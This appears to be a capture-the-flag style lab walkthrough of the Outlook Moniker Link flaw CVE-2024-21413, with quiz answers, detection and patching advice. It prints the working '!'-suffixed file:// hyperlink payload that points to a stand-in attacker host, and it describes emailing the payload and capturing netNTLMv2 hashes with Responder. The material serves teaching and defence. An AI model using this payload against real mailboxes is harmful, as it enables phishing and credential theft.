Introduction
On February 13th, 2024, Microsoft announced a Microsoft Outlook RCE & credential leak vulnerability with the assigned CVE of CVE-2024-21413 (Moniker Link). Haifei Li of Check Point Research is credited with discovering the vulnerability.
The vulnerability bypasses Outlook's security mechanisms when handing a specific type of hyperlink known as a Moniker Link. An attacker can abuse this by sending an email that contains a malicious Moniker Link to a victim, resulting in Outlook sending the user's NTLM credentials to the attacker once the hyperlink is clicked.
Answer the questions
What "Severity" rating has the CVE been assigned?
Answer: Critical
Moniker Link (CVE-2024-21413)
Outlook can render emails as HTML. You may notice this being used by your favourite newsletters. Additionally, Outlook can parse hyperlinks such as HTTP and HTTPS. However, it can also open URLs specifying applications known as Moniker Links. Normally, Outlook will prompt a security warning when external applications are triggered.
By using the file://
Moniker Link in our hyperlink, we can instruct Outlook to attempt to access a file, such as a file on a network share (Click me
). The SMB protocol is used, which involves using local credentials for authentication. However, Outlook's "Protected View" catches and blocks this attempt.
<p><a href="file://ATTACKER_MACHINE/test">Click me</a></p>
The vulnerability here exists by modifying our hyperlink to include the !
special character and some text in our Moniker Link which results in bypassing Outlook’s Protected View. For example: Click me
.
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
We, as attackers, can provide a Moniker Link of this nature for the attack. Note the share does not need to exist on the remote device, as an authentication attempt will be attempted regardless, leading to the victim's Windows netNTLMv2 hash being sent to the attacker.
Remote Code Execution (RCE) is possible because Moniker Links uses the Component Object Model (COM) on Windows. However, explaining this is currently out of scope for this room, as there is no publicly released proof of concept for achieving RCE via this specific CVE.
Answer the questions
What Moniker Link type do we use in the hyperlink?
Answer: file://
What is the special character used to bypass Outlook's "Protected View"?
Answer: !
Exploitation
For this attack, we will email our victim a Moniker Link similar to the one provided in the previous task. The objective, as the attacker, is to craft an email to the victim with a Moniker Link that bypasses Outlook's "Protected View", where the victim’s client will attempt to load a file from our attacking machine, resulting in the victim’s netNTLMv2 hash being captured.
But first, let’s run through a PoC I have created (which is also available on GitHub).
The PoC:
- Takes an attacker & victim email. Normally, you would need to use your own SMTP server (this has already been provided for you in this room)
- Requires the password to authenticate. For this room, the password for attacker@monikerlink.thm is attacker
- Contains the email content (html_content), which contains our Moniker Link as a HTML hyperlink
- Then, fill in the "subject", "from" and "to" fields in the email
- Finally, it sends the email to the mail server
Let’s use Responder to create an SMB listener on our attacking machine. For the THM AttackBox, the interface will be -I ens5
. The interface name will differ if you are using your own device (i.e. Kali). If you would like some homework, an Impacket server can also be used.
responder -I ens5
- Let's open the vulnerable machine by pressing the "CVE-2024-21413" pane in the split-screen view.
- Open Outlook by clicking the "Outlook" shortcut on the desktop. When Outlook has opened, click "I don't want to sign in or create an account" on the popup.
- Dismiss the second popup by clicking on the "X" at the top right of the popup (you may need to drag the window to the left a little, depending on your screen resolution).
- When completed, you will see the Outlook interface. For this room, the victim's mailbox has already been set up in Outlook for you.
- Return to your AttackBox. We will copy and paste the PoC above onto the AttackBox.
- For this, we will create a new file on the AttackBox.
nano exploit.py
and use the slide-out tray in the split-screen view. Refer to the GIF below to see this in action. - We will need to do some initial setup on Our AttackBox before running the Python script:
- Modify the Moniker Link (line #12) in our PoC to reflect the IP address of our AttackBox
- Replace the MAILSERVER placeholder on line #31 with MACHINE_IP
- When done, we can run the exploit. When prompted for the attacker's email password, enter "attacker".
- The Python script will print "Email delivered" when the email has been sent. If the script complains about authentication failure, ensure you have correctly replaced the values in exploit.py. Now, let's return to the vulnerable machine and check for the new email:
- Click on the "Click me" hyperlink and return to our "Responder" terminal session on the AttackBox:
- Success! The victim's netNTLMv2 hash has been captured on our AttackBox.
python3 exploit.py
Enter your attacker email password: attacker
Answer the questions
What is the name of the application that we use on the AttackBox to capture the user's hash?
Answer: responder
What type of hash is captured once the hyperlink in the email has been clicked?
Answer: netNTLMv2
Detection
A Yara rule has been created by Florian Roth to detect emails containing the file:\\
element in the Moniker Link.
Remediation
Microsoft has included patches to resolve this vulnerability in February’s “patch Tuesday” release. You can see a list of KB articles by Office build here. Updating Office through Windows Update or the Microsoft Update Catalog is strongly recommended.
Additionally, in the meantime, it is a timely reminder to practice general - safe - cyber security practices. For example, reminding users to:
- Do not click random links (especially from unsolicited emails)
- Preview links before clicking them
- Forward suspicious emails to the respective department responsible for cyber security
Since this vulnerability bypasses Outlook's Protected View, there is no way to reconfigure Outlook to prevent this attack. Additionally, preventing the SMB protocol entirely may do more harm than good, especially as it is essential for accessing network shares. However, you may be able to block this at the firewall level, depending on the organisation.